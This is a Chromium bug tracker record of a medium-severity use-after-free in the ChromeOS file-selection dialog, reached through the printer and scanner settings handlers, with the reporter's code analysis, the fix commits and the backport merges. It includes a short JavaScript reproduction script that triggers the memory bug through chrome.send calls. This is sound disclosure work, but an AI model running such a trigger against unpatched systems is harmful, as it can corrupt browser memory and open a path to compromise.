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**Owner:**[lucmult@chromium.org](mailto:lucmult@chromium.org)**CC:**[matthewjoseph@google.com](mailto:matthewjoseph@google.com)[rzanoni@google.com](mailto:rzanoni@google.com)[pmonette@chromium.org](mailto:pmonette@chromium.org)[lucmult@chromium.org](mailto:lucmult@chromium.org)[zentaro@chromium.org](mailto:zentaro@chromium.org)[hardi...@google.com](mailto:hardi...@google.com)[majewski@chromium.org](mailto:majewski@chromium.org)[dcheng@chromium.org](mailto:dcheng@chromium.org)[gavinwill@chromium.org](mailto:gavinwill@chromium.org)**Status:**Fixed (*Closed*)**Components:**[Internals>Printing](#)[Platform>Apps>FileManager](#)**Modified:**

Jul 29, 2022

**Backlog-Rank:**

----

**Editors:**

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**EstimatedDays:**

----

**NextAction:**

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**OS:**[Chrome](#)**Pri:**

1

**Type:**[Bug-Security](#)[Hotlist-Merge-Review](#)[Reward-1000](#)[Security\\_Severity-Medium](#)[allpublic](#)[reward-inprocess](#)[CVE\\_description-submitted](#)[external\\_security\\_report](#)[FoundIn-98](#)[FoundIn-99](#)[FoundIn-100](#)[M-101](#)[Target-101](#)[Security\\_Impact-Extended](#)[merge-merged-4664](#)[LTS-Merge-Merged-96](#)[merge-merged-4951](#)[merge-merged-101](#)



## Issue 1306391: Security: Use-After-Free in SelectFileDialog

Reported by [vulb...@gmail.com](mailto:vulb...@gmail.com) on Tue, Mar 15, 2022, 3:55 AM EDT



Code

### VULNERABILITY DETAILS

[https://source.chromium.org/chromium/chromium/src/+main:chrome/browser/ui/webui/settings/chromeos/cups\\_printers\\_handler.cc;l=321;drc=35a6eae48ee9838a2672b9a1ef7b149d3f7983b2;bpv=1;bpt=1](https://source.chromium.org/chromium/chromium/src/+main:chrome/browser/ui/webui/settings/chromeos/cups_printers_handler.cc;l=321;drc=35a6eae48ee9838a2672b9a1ef7b149d3f7983b2;bpv=1;bpt=1)

```
web_ui()->RegisterMessageCallback(
    "selectPPDFile",
    base::BindRepeating(&CupsPrintersHandler::HandleSelectPPDFile,/<--
        base::Unretained(this)));
```

[https://source.chromium.org/chromium/chromium/src/+main:chrome/browser/ui/webui/settings/chromeos/cups\\_printers\\_handler.cc;l=887;drc=35a6eae48ee9838a2672b9a1ef7b149d3f7983b2;bpv=1;bpt=1](https://source.chromium.org/chromium/chromium/src/+main:chrome/browser/ui/webui/settings/chromeos/cups_printers_handler.cc;l=887;drc=35a6eae48ee9838a2672b9a1ef7b149d3f7983b2;bpv=1;bpt=1)

```
void CupsPrintersHandler::HandleSelectPPDFile(const base::Value::List& args) {
    CHECK_EQ(1U, args.size());
    webui_callback_id_ = args[0].GetString();
```

```
base::FilePath downloads_path =
    DownloadPrefs::FromDownloadManager(profile_->GetDownloadManager())
        ->DownloadPath();
```

```
content::WebContents* web_contents = web_ui()->GetWebContents();
select_file_dialog_ = ui::SelectFileDialog::Create(
    this, std::make_unique<ChromeSelectFilePolicy>(web_contents));
```

```
gfx::NativeWindow owning_window =
    web_contents ? chrome::FindBrowserWithWebContents(web_contents)
        ->window()
        ->GetNativeWindow()
    : gfx::kNullNativeWindow;
```

```
ui::SelectFileDialog::FileInfo file_type_info;
file_type_info.extensions.push_back({"ppd"});
file_type_info.extensions.push_back({"ppd.gz"});
select_file_dialog_->SelectFile(
    ui::SelectFileDialog::SELECT_OPEN_FILE, std::u16string(), downloads_path,
    &file_type_info, 0, FILE_PATH_LITERAL(""), owning_window, nullptr);
}
```

```
CupsPrintersHandler::~~CupsPrintersHandler() = default;
```

[https://source.chromium.org/chromium/chromium/src/+main:chrome/browser/ui/views/select\\_file\\_dialog\\_extension.cc;l=565;drc=35a6eae48ee9838a2672b9a1ef7b149d3f7983b2;](https://source.chromium.org/chromium/chromium/src/+main:chrome/browser/ui/views/select_file_dialog_extension.cc;l=565;drc=35a6eae48ee9838a2672b9a1ef7b149d3f7983b2)

```
void SelectFileDialogExtension::NotifyListener() {
    if (!listener_)
```

```

return;

// The selected files are passed by reference to the listener. Ensure they
// outlive the dialog if it is immediately deleted by the listener.
std::vector<ui::SelectedFileInfo> selection_files =
    std::move(selection_files_);
selection_files_.clear();

switch (selection_type_) {
case CANCEL:
    listener_ ->FileSelectionCanceled(params_);
    break;
case SINGLE_FILE:
    listener_ ->FileSelectedWithExtraInfo(selection_files[0], selection_index_,
                                           params_);

    break;
case MULTIPLE_FILES:
    listener_ ->MultiFilesSelectedWithExtraInfo(selection_files, params_);
    break;
default:
    NOTREACHED();
    break;
}
}

```

Like [crbug.com/4204032](https://crbug.com/4204032), If call `CupsPrintersHandler::HandleSelectPPDFFile` two times in succession, free `CupsPrintersHandler` and select a folder or close with the `SelectFileDialog`, UAF is triggered in `SelectFileDialogExtension::NotifyListener`.

## VERSION

Chrome Version:

Operating System: chromeos

## REPRODUCTION CASE

1. navigate to "chrome://diagnostics"
2. open debug console with F12
3. copy & paste & run following script

...

```

function sleep(delay) {
    return new Promise((resolve) => setTimeout(resolve, delay));
}

```

```

var tab1 = open("chrome://os-settings/cupsPrinters");
await sleep(3000);

```

```

with(tab1) {
    chrome.send("selectPPDFFile",["12"]);
    chrome.send("selectPPDFFile",["12"]);
}

```

```
}  
await sleep(3000)  
tab1.close();  
...
```

4. after tab1 is closed, choose a folder or close the SelectFileDialog

**asan\_with\_sym.log**

21.6 KB [View](#) [Download](#)

[Comment 1](#) by [vulb...@gmail.com](#) on Tue, Mar 15, 2022, 3:58 AM EDT

sorry ,copy wrong for the REPRODUCTION CASE

#### REPRODUCTION CASE

1. navigate to "chrome://os-settings/cupsPrinters"
  2. open debug console with F12
  3. copy & paste & run following script
- ...

```
function sleep(delay) {  
  return new Promise((resolve) => setTimeout(resolve, delay));  
}
```

```
var tab1 = open("chrome://os-settings/cupsPrinters");  
await sleep(3000);
```

```
with(tab1) {  
  chrome.send("selectPPDFile",["12"]);  
  chrome.send("selectPPDFile",["12"]);  
}  
await sleep(3000)  
tab1.close();  
...
```

4. after tab1 is closed, choose a folder or close the SelectFileDialog

[Comment 2](#) by [sheriffbot](#) on Tue, Mar 15, 2022, 4:01 AM EDT

**Labels:** external\_security\_report

[Comment 3](#) by [vulb...@gmail.com](#) on Tue, Mar 15, 2022, 4:20 AM EDT

hello,Here is another bug, `scanning\_handler` is similar to this.

[https://source.chromium.org/chromium/chromium/src/+main:ash/webui/scanning/scanning\\_handler.cc;l=51;drc=35a6eae48ee9838a2672b9a1ef7b149d3f7983b2;bpv=1;bpt=1](https://source.chromium.org/chromium/chromium/src/+main:ash/webui/scanning/scanning_handler.cc;l=51;drc=35a6eae48ee9838a2672b9a1ef7b149d3f7983b2;bpv=1;bpt=1)

```
web_ui()->RegisterDeprecatedMessageCallback(  
  "requestScanToLocation",  
  base::BindRepeating(&ScanningHandler::HandleRequestScanToLocation,  //<--  
    base::Unretained(this)));
```

[https://source.chromium.org/chromium/chromium/src/+main:ash/webui/scanning/scanning\\_handler.cc;l=157;drc=35a6eae4](https://source.chromium.org/chromium/chromium/src/+main:ash/webui/scanning/scanning_handler.cc;l=157;drc=35a6eae4)

8ee9838a2672b9a1ef7b149d3f7983b2

```
void ScanningHandler::HandleRequestScanToLocation(const base::ListValue* args) {
    CHECK_EQ(1U, args->GetListDeprecated().size());
    scan_location_callback_id_ = args->GetListDeprecated()[0].GetString();

    content::WebContents* web_contents = web_ui()->GetWebContents();
    gfx::NativeWindow owning_window =
        web_contents ? web_contents->GetTopLevelNativeWindow()
                     : gfx::kNullNativeWindow;
    select_file_dialog_ = ui::SelectFileDialog::Create(
        //<--
        this, scanning_app_delegate_->CreateChromeSelectFilePolicy());
    select_file_dialog_->SelectFile(
        ui::SelectFileDialog::SELECT_FOLDER,
        l10n_util::GetStringUTF16(IDS_SCANNING_APP_SELECT_DIALOG_TITLE),
        base::FilePath() /* default_path */, nullptr /* file_types */,
        0 /* file_type_index */,
        base::FilePath::StringType() /* default_extension */, owning_window,
        nullptr /* params */);
}
```

ScanningHandler::~~ScanningHandler() = default;

[https://source.chromium.org/chromium/chromium/src/+main:chrome/browser/ui/views/select\\_file\\_dialog\\_extension.cc;l=565;drc=35a6eae48ee9838a2672b9a1ef7b149d3f7983b2;](https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/ui/views/select_file_dialog_extension.cc;l=565;drc=35a6eae48ee9838a2672b9a1ef7b149d3f7983b2;)

```
void SelectFileDialogExtension::NotifyListener() {
    if (!listener_)
        return;

    // The selected files are passed by reference to the listener. Ensure they
    // outlive the dialog if it is immediately deleted by the listener.
    std::vector<ui::SelectedFileInfo> selection_files =
        std::move(selection_files_);
    selection_files_.clear();

    switch (selection_type_) {
    case CANCEL:
        listener_->FileSelectionCanceled(params_);
        break;
    case SINGLE_FILE:
        listener_->FileSelectedWithExtraInfo(selection_files[0], selection_index_,
                                              params_);
        break;
    case MULTIPLE_FILES:
        listener_->MultiFilesSelectedWithExtraInfo(selection_files, params_);
        break;
    default:
        NOTREACHED();
        break;
    }
}
```

Comment 4 by [mattn@chromium.org](mailto:mattn@chromium.org) on Thu, Mar 17, 2022, 6:55 PM EDT

**Labels:** OS-Chrome

Comment 5 by [hardi...@google.com](mailto:hardi...@google.com) on Mon, Mar 21, 2022, 1:00 PM EDT

**Components:** Internals>Printing

Comment 6 by [hardi...@google.com](mailto:hardi...@google.com) on Mon, Mar 21, 2022, 1:25 PM EDT

**Labels:** Security\_Severity-Medium Pri-2

**Components:** Platform>Apps>FileManager

Comment 7 by [thestig@chromium.org](mailto:thestig@chromium.org) on Mon, Mar 21, 2022, 1:26 PM EDT

**Cc:** gavinwill@chromium.org dcheng@chromium.org

This may overlap with [bug-1305068](#) and [bug-1304145](#).

Comment 8 by [hardi...@google.com](mailto:hardi...@google.com) on Mon, Mar 21, 2022, 1:26 PM EDT

**Owner:** majewski@chromium.org

Assigning to an owner:

majewski@ could you please look into it?

Comment 9 by [hardi...@google.com](mailto:hardi...@google.com) on Mon, Mar 21, 2022, 1:26 PM EDT

**Cc:** hardi...@google.com

Comment 10 by [sheriffbot](#) on Mon, Mar 21, 2022, 2:27 PM EDT

**Status:** Assigned (was: Unconfirmed)

Comment 11 by [gavinwill@chromium.org](mailto:gavinwill@chromium.org) on Mon, Mar 21, 2022, 3:09 PM EDT

**Owner:** gavinwill@chromium.org

Comment 12 by [hardi...@google.com](mailto:hardi...@google.com) on Tue, Mar 22, 2022, 12:40 PM EDT

**Cc:** majewski@chromium.org

Comment 13 by [sheriffbot](#) on Tue, Mar 22, 2022, 1:18 PM EDT

**Labels:** -Pri-2 Pri-1

Setting Pri-1 to match security severity Medium. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

Comment 14 by [majewski@chromium.org](mailto:majewski@chromium.org) on Tue, Mar 22, 2022, 11:08 PM EDT

hardikgoyal@ could you please be a bit more specific and verbose? What am I looking specifically for? Confirm that the bug affects SelectFileDialog? I don't believe we have changed any code recently in NotifyListener. I see [pmonette@chromium.org](mailto:pmonette@chromium.org) making some changes in that method last year. Is this bug related to those changes?

Comment 15 by [hardi...@google.com](mailto:hardi...@google.com) on Tue, Mar 22, 2022, 11:37 PM EDT

**Cc:** pmonette@chromium.org

**Comment 16** by [pmonette@google.com](#) on Wed, Mar 23, 2022, 1:15 AM EDT

The ScanningHandler and the CupsPrinterHandler code need a guard against opening a SelectFileDialog while one is already open, akin to this fix: <https://chromium-review.googlesource.com/c/chromium/src/+2898617>

**Comment 17** by [vulb...@gmail.com](#) on Wed, Mar 23, 2022, 1:19 AM EDT

**#c16** Yes, I also think so.

**Comment 18** by [pmonette@google.com](#) on Wed, Mar 23, 2022, 3:16 PM EDT

**Cc:** zentaro@chromium.org

+zentaro who will be reviewing my fix.

**Comment 19** by [majewski@chromium.org](#) on Wed, Mar 23, 2022, 11:00 PM EDT

**Cc:** lucmult@chromium.org

**Comment 20** by [Git Watcher](#) on Fri, Mar 25, 2022, 5:13 PM EDT

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src/+004c2a28c015c658b5e5f7bcb19c9b7910135cc6>

commit [004c2a28c015c658b5e5f7bcb19c9b7910135cc6](#)

Author: Patrick Monette <[pmonette@chromium.org](mailto:pmonette@chromium.org)>

Date: Fri Mar 25 21:12:41 2022

Prevent the creation of a duplicate dialog in CupsPrintersHandler

~~Bug-1306394~~

Change-Id: [lab82abfed428b1040671bced0ddaf9e682552b5](#)

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3546821>

Reviewed-by: Zentaro Kavanagh <[zentaro@chromium.org](mailto:zentaro@chromium.org)>

Commit-Queue: Patrick Monette <[pmonette@chromium.org](mailto:pmonette@chromium.org)>

Cr-Commit-Position: refs/heads/main@{#985491}

[modify]

[https://crrev.com/004c2a28c015c658b5e5f7bcb19c9b7910135cc6/chrome/browser/ui/webui/settings/chromeos/cups\\_printers\\_handler.h](https://crrev.com/004c2a28c015c658b5e5f7bcb19c9b7910135cc6/chrome/browser/ui/webui/settings/chromeos/cups_printers_handler.h)

[modify]

[https://crrev.com/004c2a28c015c658b5e5f7bcb19c9b7910135cc6/chrome/browser/ui/webui/settings/chromeos/cups\\_printers\\_handler.cc](https://crrev.com/004c2a28c015c658b5e5f7bcb19c9b7910135cc6/chrome/browser/ui/webui/settings/chromeos/cups_printers_handler.cc)

**Comment 21** by [Git Watcher](#) on Fri, Mar 25, 2022, 5:56 PM EDT

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src/+b7209bc027a96c83473ea6390ffbef3550e3860d>

commit [b7209bc027a96c83473ea6390ffbef3550e3860d](#)

Author: Patrick Monette <[pmonette@chromium.org](mailto:pmonette@chromium.org)>

Date: Fri Mar 25 21:55:11 2022

Prevent the creation of a duplicate dialog in ScanningHandler

~~Bug: 1306394~~

Change-Id: I315ca8f8d6ce368f0cdf56956c1dc79a9805547e

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3545287>

Reviewed-by: Zentaro Kavanagh <[zentaro@chromium.org](mailto:zentaro@chromium.org)>

Commit-Queue: Patrick Monette <[pmonette@chromium.org](mailto:pmonette@chromium.org)>

Cr-Commit-Position: refs/heads/main@{#985509}

[modify] [https://crrev.com/b7209bc027a96c83473ea6390ffbef3550e3860d/ash/webui/scanning/scanning\\_handler.cc](https://crrev.com/b7209bc027a96c83473ea6390ffbef3550e3860d/ash/webui/scanning/scanning_handler.cc)

[modify]

[https://crrev.com/b7209bc027a96c83473ea6390ffbef3550e3860d/ash/webui/scanning/scanning\\_handler\\_unittest.cc](https://crrev.com/b7209bc027a96c83473ea6390ffbef3550e3860d/ash/webui/scanning/scanning_handler_unittest.cc)

**Comment 22** by [sheriffbot](#) on Tue, Apr 5, 2022, 12:21 PM EDT

gavinwill: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

**Comment 23** by [lucmult@chromium.org](mailto:lucmult@chromium.org) on Tue, Apr 5, 2022, 7:27 PM EDT

**Status:** Started (was: Assigned)

**Owner:** [lucmult@chromium.org](mailto:lucmult@chromium.org)

**Blockedon:** [1309583](#)

I'm working on fixing the caller sites of SelectFileDialog and I'm tracking the work on [crbug.com/1309583](https://crbug.com/1309583)

**Comment 24** by [lucmult@chromium.org](mailto:lucmult@chromium.org) on Thu, Apr 7, 2022, 2:05 AM EDT

**Status:** Fixed (was: Started)

All the uses of SelectFileDialog mentioned in this bug have been fixed.

**Comment 25** by [sheriffbot](#) on Thu, Apr 7, 2022, 12:42 PM EDT

**Labels:** reward-topanel

**Comment 26** by [sheriffbot](#) on Thu, Apr 7, 2022, 1:41 PM EDT

**Labels:** -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

**Comment 27** by [amyressler@chromium.org](mailto:amyressler@chromium.org) on Mon, Apr 11, 2022, 5:32 PM EDT

Note for VRP Panel: according to <https://bugs.chromium.org/p/chromium/issues/detail?id=1304884#c14> this issue is a duplicate of earlier reported ~~issue 1304884~~, which should be considered for the potential VRP Reward. This bug cannot be merged into the earlier report as the fix CLs were associated with this report.

**Comment 28** by [amyressler@chromium.org](mailto:amyressler@chromium.org) on Mon, Apr 11, 2022, 5:34 PM EDT



**Labels:** FoundIn-100

[Comment 29](#) by [amyressler@chromium.org](mailto:amyressler@chromium.org) on Mon, Apr 11, 2022, 5:37 PM EDT

**Labels:** FoundIn-98 FoundIn-99

Added FoundIn-100 to reflect current security-impact == Extended Stable; adding foundin-98 and foundin-99 to ensure this doesn't appear to be regression to sheriffbot or any else based on fixed/CL landing dates

[Comment 30](#) by [sheriffbot](#) on Tue, Apr 12, 2022, 12:51 PM EDT

**Labels:** M-101 Target-101

Setting milestone and target because of medium severity.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 31](#) by [sheriffbot](#) on Tue, Apr 12, 2022, 2:06 PM EDT

**Labels:** Merge-Request-101

Requesting merge to beta M101 because latest trunk commit (985509) appears to be after beta branch point (982481).

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 32](#) by [sheriffbot](#) on Tue, Apr 12, 2022, 2:10 PM EDT

**Labels:** -Merge-Request-101 Merge-Review-101 Hotlist-Merge-Review

Merge review required: M101 is already shipping to beta.

Please answer the following questions so that we can safely process your merge request:

1. Why does your merge fit within the merge criteria for these milestones?
  - Chrome Browser: <https://chromiumdash.appspot.com/branches>
  - Chrome OS: <https://goto.google.com/cros-release-branch-merge-guidelines>
2. What changes specifically would you like to merge? Please link to Gerrit.
3. Have the changes been released and tested on canary?
4. Is this a new feature? If yes, is it behind a Finch flag and are experiments active in any release channels?
5. [Chrome OS only]: Was the change reviewed and approved by the Eng Prod Representative?  
<https://goto.google.com/cros-engprodcomponents>
6. If this merge addresses a major issue in the stable channel, does it require manual verification by the test team? If so, please describe required testing.

Please contact the milestone owner if you have questions.

Owners: benmason (Android), harrysouders (iOS), matthewjoseph (ChromeOS), pbommana (Desktop)

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 33](#) by [matthewjoseph@google.com](mailto:matthewjoseph@google.com) on Tue, Apr 12, 2022, 3:59 PM EDT

**Labels:** -Merge-Review-101 Merge-Approved-101

Merge approved, 101

[Comment 34](#) by [amyressler@chromium.org](mailto:amyressler@chromium.org) on Tue, Apr 12, 2022, 9:30 PM EDT

**Labels:** Security\_Impact-Extended

**Comment 35** by [amyressler@google.com](mailto:amyressler@google.com) on Fri, Apr 15, 2022, 1:09 PM EDT

**Labels:** -reward-topanel reward-unpaid reward-1000

\*\*\* Boilerplate reminders! \*\*\*

Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact [security-vrp@chromium.org](mailto:security-vrp@chromium.org) with any questions.

\*\*\*\*\*

**Comment 36** by [amyressler@chromium.org](mailto:amyressler@chromium.org) on Fri, Apr 15, 2022, 1:29 PM EDT

Hello and thank you for your report! As your report was a duplicate of a previously reported issue, it would generally be ineligible for a VRP reward. However, due to the extra information and stack trace that allowed this issue to be reproduced, triaged, and fixed faster, we did want to extend a thank you, in the form of a \$1,000 reward. Thank you for your efforts and reporting this issue to us.

**Comment 37** by [amyressler@google.com](mailto:amyressler@google.com) on Fri, Apr 15, 2022, 9:50 PM EDT

**Labels:** -reward-unpaid reward-inprocess

**Comment 38** by [sheriffbot](#) on Mon, Apr 18, 2022, 12:22 PM EDT

**Cc:** [matthewjoseph@google.com](mailto:matthewjoseph@google.com)

This issue has been approved for a merge. Please merge the fix to any appropriate branches as soon as possible!

If all merges have been completed, please remove any remaining Merge-Approved labels from this issue.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

**Comment 39** by [Git Watcher](#) on Mon, Apr 18, 2022, 8:25 PM EDT

**Labels:** -merge-approved-101 merge-merged-4951 merge-merged-101

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src/+588c2b08e2f4f3d6b6f23c01464192f5d21eacba>

commit [588c2b08e2f4f3d6b6f23c01464192f5d21eacba](#)

Author: Patrick Monette <[pmonette@chromium.org](mailto:pmonette@chromium.org)>

Date: Tue Apr 19 00:24:41 2022

M101: Prevent the creation of a duplicate dialog in CupsPrintersHandler

(cherry picked from commit [004c2a28c015c658b5e5f7bcb19c9b7910135cc6](#))

~~[Bug-1306394](#)~~

Change-Id: [lab82abfed428b1040671bcde0ddaf9e682552b5](#)

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3546821>

Reviewed-by: Zentaro Kavanagh <[zentaro@chromium.org](mailto:zentaro@chromium.org)>

Commit-Queue: Patrick Monette <[pmonette@chromium.org](mailto:pmonette@chromium.org)>  
Cr-Original-Commit-Position: refs/heads/main@{#985491}  
Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3582440>  
Auto-Submit: Luciano Pacheco <[lucmult@chromium.org](mailto:lucmult@chromium.org)>  
Reviewed-by: Patrick Monette <[pmonette@chromium.org](mailto:pmonette@chromium.org)>  
Commit-Queue: Zentaro Kavanagh <[zentaro@chromium.org](mailto:zentaro@chromium.org)>  
Cr-Commit-Position: refs/branch-heads/4951@{#866}  
Cr-Branched-From: [27de6227ca357da0d57ae2c7b18da170c4651438](https://chromium-review.googlesource.com/c/chromium/src/+3582440)-refs/heads/main@{#982481}

[modify]

[https://crrev.com/588c2b08e2f4f3d6b6f23c01464192f5d21eacba/chrome/browser/ui/webui/settings/chromeos/cups\\_printer\\_s\\_handler.h](https://crrev.com/588c2b08e2f4f3d6b6f23c01464192f5d21eacba/chrome/browser/ui/webui/settings/chromeos/cups_printer_s_handler.h)

[modify]

[https://crrev.com/588c2b08e2f4f3d6b6f23c01464192f5d21eacba/chrome/browser/ui/webui/settings/chromeos/cups\\_printer\\_s\\_handler.cc](https://crrev.com/588c2b08e2f4f3d6b6f23c01464192f5d21eacba/chrome/browser/ui/webui/settings/chromeos/cups_printer_s_handler.cc)

**Comment 40** by [Git Watcher](#) on Mon, Apr 18, 2022, 8:25 PM EDT

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src/+bccb5551a84b695377910d186105c5555834f96e>

commit [bccb5551a84b695377910d186105c5555834f96e](https://chromium.googlesource.com/chromium/src/+bccb5551a84b695377910d186105c5555834f96e)

Author: Patrick Monette <[pmonette@chromium.org](mailto:pmonette@chromium.org)>

Date: Tue Apr 19 00:24:16 2022

M101: Prevent the creation of a duplicate dialog in ScanningHandler

(cherry picked from commit [b7209bc027a96c83473ea6390ffbef3550e3860d](https://chromium-review.googlesource.com/c/chromium/src/+b7209bc027a96c83473ea6390ffbef3550e3860d))

~~Bug-1306394~~

Change-Id: I315ca8f8d6ce368f0cdf56956c1dc79a9805547e

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3545287>

Reviewed-by: Zentaro Kavanagh <[zentaro@chromium.org](mailto:zentaro@chromium.org)>

Commit-Queue: Patrick Monette <[pmonette@chromium.org](mailto:pmonette@chromium.org)>

Cr-Original-Commit-Position: refs/heads/main@{#985509}

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3583877>

Auto-Submit: Luciano Pacheco <[lucmult@chromium.org](mailto:lucmult@chromium.org)>

Reviewed-by: Patrick Monette <[pmonette@chromium.org](mailto:pmonette@chromium.org)>

Commit-Queue: Zentaro Kavanagh <[zentaro@chromium.org](mailto:zentaro@chromium.org)>

Cr-Commit-Position: refs/branch-heads/4951@{#865}

Cr-Branched-From: [27de6227ca357da0d57ae2c7b18da170c4651438](https://chromium-review.googlesource.com/c/chromium/src/+3582440)-refs/heads/main@{#982481}

[modify] [https://crrev.com/bccb5551a84b695377910d186105c5555834f96e/ash/webui/scanning/scanning\\_handler.cc](https://crrev.com/bccb5551a84b695377910d186105c5555834f96e/ash/webui/scanning/scanning_handler.cc)

[modify]

[https://crrev.com/bccb5551a84b695377910d186105c5555834f96e/ash/webui/scanning/scanning\\_handler\\_unittest.cc](https://crrev.com/bccb5551a84b695377910d186105c5555834f96e/ash/webui/scanning/scanning_handler_unittest.cc)

**Comment 41** by [sheriffbot](#) on Mon, Apr 18, 2022, 8:30 PM EDT

**Labels:** LTS-Merge-Candidate

LTS Milestone M96

This issue has been flagged as a merge candidate for Chrome OS' LTS channel. If selected, our merge team will handle any additional merges. To help us determine if this issue requires a merge to LTS, please answer this short questionnaire:

1. Was this issue a regression for the milestone it was found in?

2. Is this issue related to a change or feature merged after the latest LTS Milestone?

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 42](#) by [rganoni@google.com](mailto:rganoni@google.com) on Tue, Apr 19, 2022, 1:15 PM EDT

**Cc:** rganoni@google.com

**Labels:** LTS-Evaluating-96

[Comment 43](#) by [rganoni@google.com](mailto:rganoni@google.com) on Tue, Apr 19, 2022, 2:49 PM EDT

**Labels:** -LTS-Evaluating-96 LTS-Merge-Request-96

[Comment 44](#) by [sheriffbot](#) on Tue, Apr 19, 2022, 2:49 PM EDT

**Labels:** -LTS-Merge-Request-96 LTS-Merge-Review-96

This issue requires additional review before it can be merged to the LTS channel. Please answer the following questions to help us evaluate this merge:

1. Number of CLs needed for this fix and links to them.
2. Level of complexity (High, Medium, Low - Explain)
3. Has this been merged to a stable release? beta release?
4. Overall Recommendation (Yes, No)

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[Comment 45](#) by [rganoni@google.com](mailto:rganoni@google.com) on Tue, Apr 19, 2022, 2:51 PM EDT

1. Just <https://crrev.com/c/3593966>
2. Low, simple conflict with the arguments of CupsPrintersHandler::HandleSelectPPDFFile
3. 101
4. Yes

[Comment 46](#) by [gmpritchard@google.com](mailto:gmpritchard@google.com) on Wed, Apr 20, 2022, 12:56 PM EDT

**Labels:** LTS-Merge-Delayed-96

[Comment 47](#) by [gmpritchard@google.com](mailto:gmpritchard@google.com) on Wed, Apr 20, 2022, 1:02 PM EDT

**Labels:** -LTS-Merge-Candidate

[Comment 48](#) by [gmpritchard@google.com](mailto:gmpritchard@google.com) on Fri, Apr 22, 2022, 1:20 PM EDT

**Labels:** -LTS-Merge-Review-96 -LTS-Merge-Delayed-96 LTS-Merge-Approved-96

[Comment 49](#) by [amyressler@chromium.org](mailto:amyressler@chromium.org) on Mon, Apr 25, 2022, 7:03 PM EDT

**Labels:** Release-0-M101

[Comment 50](#) by [Git Watcher](#) on Tue, Apr 26, 2022, 10:29 AM EDT

**Labels:** merge-merged-4664

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src/+6a2190a8566a1c8e58155eb85420bbb769a00803>

commit [6a2190a8566a1c8e58155eb85420bbb769a00803](#)

Author: Patrick Monette <[pmonette@chromium.org](mailto:pmonette@chromium.org)>

Date: Tue Apr 26 14:28:54 2022

[M96-LTS] Prevent the creation of a duplicate dialog in CupsPrintersHandler

M96 merge issues:

cups\_printers\_handler.cc:

- CupsPrintersHandler::HandleSelectPPDFile parameter "args" isn't a reference in M96

(cherry picked from commit [004c2a28c015c658b5e5f7bcb19c9b7910135cc6](#))

**Bug:** [1306394](#)

Change-Id: [lab82abfed428b1040671bcede0ddaf9e682552b5](#)

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3546821>

Commit-Queue: Patrick Monette <[pmonette@chromium.org](mailto:pmonette@chromium.org)>

Cr-Original-Commit-Position: refs/heads/main@{#985491}

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3593966>

Reviewed-by: Achuth Bhandarkar <[achuith@chromium.org](mailto:achuith@chromium.org)>

Owners-Override: Achuth Bhandarkar <[achuith@chromium.org](mailto:achuith@chromium.org)>

Commit-Queue: Roger Felipe Zandoni da Silva <[rzanoni@google.com](mailto:rzanoni@google.com)>

Cr-Commit-Position: refs/branch-heads/4664@{#1605}

Cr-Branched-From: [24dc4ee75e01a29d390d43c9c264372a169273a7](#)-refs/heads/main@{#929512}

[modify]

[https://crrev.com/6a2190a8566a1c8e58155eb85420bbb769a00803/chrome/browser/ui/webui/settings/chromeos/cups\\_printers\\_handler.h](https://crrev.com/6a2190a8566a1c8e58155eb85420bbb769a00803/chrome/browser/ui/webui/settings/chromeos/cups_printers_handler.h)

[modify]

[https://crrev.com/6a2190a8566a1c8e58155eb85420bbb769a00803/chrome/browser/ui/webui/settings/chromeos/cups\\_printers\\_handler.cc](https://crrev.com/6a2190a8566a1c8e58155eb85420bbb769a00803/chrome/browser/ui/webui/settings/chromeos/cups_printers_handler.cc)

**Comment 51** by [rzanoni@google.com](mailto:rzanoni@google.com) on Tue, Apr 26, 2022, 12:29 PM EDT

**Labels:** -LTS-Merge-Approved-96 LTS-Merge-Merged-96

**Comment 52** by [amyressler@google.com](mailto:amyressler@google.com) on Tue, Apr 26, 2022, 4:32 PM EDT

**Labels:** CVE-2022-1496 CVE\_description-missing

**Comment 53** by [rzanoni@google.com](mailto:rzanoni@google.com) on Wed, Apr 27, 2022, 12:02 PM EDT

**Labels:** -LTS-Merge-Merged-96 LTS-Merge-Candidate LTS-Evaluating-96

